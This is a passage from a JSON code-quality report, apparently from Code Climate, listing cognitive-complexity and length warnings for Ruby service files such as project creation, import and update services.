docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `process_repository_access` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d2612abf7127bdfa9f619c175cf5d2cc","location":{"path":"app/services/auth/container_registry_authentication_service.rb","lines":{"begin":79,"end":97}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"7189b60fb2402fbb02818934986a95e8","location":{"path":"app/services/projects/overwrite_project_service.rb","lines":{"begin":5,"end":26}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 26 (exceeds 5 allowed). Consider refactoring.","fingerprint":"961ae326b78bf20ee97acef0cec52327","location":{"path":"app/services/projects/create_service.rb","lines":{"begin":11,"end":74}},"other_locations":[],"remediation_points":2250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `after_create_actions` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"e38e4c0872ce60d2ba85c11448b4522b","location":{"path":"app/services/projects/create_service.rb","lines":{"begin":98,"end":114}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `save_project_and_import_data` has a Cognitive Complexity of 13 (exceeds 5 allowed). Consider refactoring.","fingerprint":"49a616d751623502896fe1bf01ddc263","location":{"path":"app/services/projects/create_service.rb","lines":{"begin":143,"end":158}},"other_locations":[],"remediation_points":950000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `execute` has 41 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"175fda5eebf084d959ea97dbc7ddba89","location":{"path":"app/services/projects/create_service.rb","lines":{"begin":11,"end":74}},"other_locations":[],"remediation_points":984000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"return_statements","content":{"body":""},"description":"Avoid too many `return` statements within this method.","location":{"path":"app/services/projects/create_service.rb","lines":{"begin":53,"end":53}},"other_locations":[],"remediation_points":300000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"4406c9c51c68a677aea6fc1c46031379"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `propagate_projects_with_template` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"293ec445efe1987a7ed4d749d241b1c9","location":{"path":"app/services/projects/propagate_service_template.rb","lines":{"begin":25,"end":33}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"2a2218c0712e897508cb29f687ddbb15","location":{"path":"app/services/projects/destroy_service.rb","lines":{"begin":17,"end":49}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `attempt_repositories_rollback` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"06f3aaf8a1f066c4e7933483e129d710","location":{"path":"app/services/projects/destroy_service.rb","lines":{"begin":51,"end":63}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `add_repository_to_project` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"0129f188de75c26a852812d70994f671","location":{"path":"app/services/projects/import_service.rb","lines":{"begin":33,"end":52}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `import_repository` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"a7dc266875c644d2161df4f52854509a","location":{"path":"app/services/projects/import_service.rb","lines":{"begin":60,"end":78}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `download_lfs_objects` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"e22b343575e9881c97f2271bcd97f948","location":{"path":"app/services/projects/import_service.rb","lines":{"begin":80,"end":99}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `import_data` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"7bc52f032ae36171f9038ca564b8725f","location":{"path":"app/services/projects/import_service.rb","lines":{"begin":101,"end":109}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 15 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d3753f60f8dc5d9fdb996971cbdec0ee","location":{"path":"app/services/projects/update_pages_service.rb","lines":{"begin":18,"end":47}},"other_locations":[],"remediation_points":1150000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `extract_zip_archive!` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"fe7709a469edc64e95ec098c80aa4d9e","location":{"path":"app/services/projects/update_pages_service.rb","lines":{"begin":84,"end":104}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `UpdatePagesService` has 23 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"d7d865dc59fc4a03d279c1c19c89a168","location":{"path":"app/services/projects/update_pages_service.rb","lines":{"begin":4,"end":191}},"other_locations":[],"remediation_points":1500000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `labels_as_hash` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"78f7382b2da989274c44cca4dd67b726","location":{"path":"app/services/projects/autocomplete_service.rb","lines":{"begin":25,"end":47}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"ecc06d47c5ab14de0497085a390276e9","location":{"path":"app/services/projects/update_remote_mirror_service.rb","lines":{"begin":7,"end":31}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f166c36283c89cda2c2d1b400fc83d9c","location":{"path":"app/services/projects/transfer_service.rb","lines":{"begin":16,"end":36}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8619477bd476b8e6c20c420edaafa603","location":{"path":"app/services/projects/update_service.rb","lines":{"begin":10,"end":29}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `validate!` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"eab5a0a1e19f69711efa955efe37831a","location":{"path":"app/services/projects/update_service.rb","lines":{"begin":40,"end":52}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `after_update` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"a1014f2a5df19a7195983026335ef76c","location":{"path":"app/services/projects/update_service.rb","lines":{"begin":54,"end":76}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"23b22fd0746b04d1cdb84c038d084b5b","location":{"path":"app/services/projects/hashed_storage/migrate_repository_service.rb","lines":{"begin":18,"end":46}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"0543ffb09bae340f0c5077ae46b7cdcc","location":{"path":"app/services/projects/lfs_pointers/lfs_download_service.rb","lines":{"begin":8,"end":23}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"896cabbb6ed77bf3c709bb312f23a6fb","location":{"path":"app/services/projects/lfs_pointers/lfs_import_service.rb","lines":{"begin":17,"end":32}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `lfsconfig_endpoint_uri` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"ab48443c563d169a420e80faa5c91bf8","location":{"path":"app/services/projects/lfs_pointers/lfs_import_service.rb","lines":{"begin":56,"end":72}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"0d7377f3f82a92babb9d1d653fb3a6c0","location":{"path":"app/services/projects/unlink_fork_service.rb","lines":{"begin":6,"end":29}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `notification_recipient_service.rb` has 261 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"04116f97d81f75dc8b45ce0a5811fa81","location":{"path":"app/services/notification_recipient_service.rb","lines":{"begin":6,"end":384}},"other_locations":[],"remediation_points":1358400,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `build!` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"bc4e88abd84c5b4832ac272b050f5372","location":{"path":"app/services/notification_recipient_service.rb","lines":{"begin":257,"end":295}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Base` has 28 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"27695a9b55119263d5fc023bfb91d6e3","location":{"path":"app/services/notification_recipient_service.rb","lines":{"begin":28,"end":238}},"other_locations":[],"remediation_points":2000000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"6cc1d79d478940cb6d6b9ceed02cb6e6","location":{"path":"app/services/users/destroy_service.rb","lines":{"begin":26,"end":64}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring 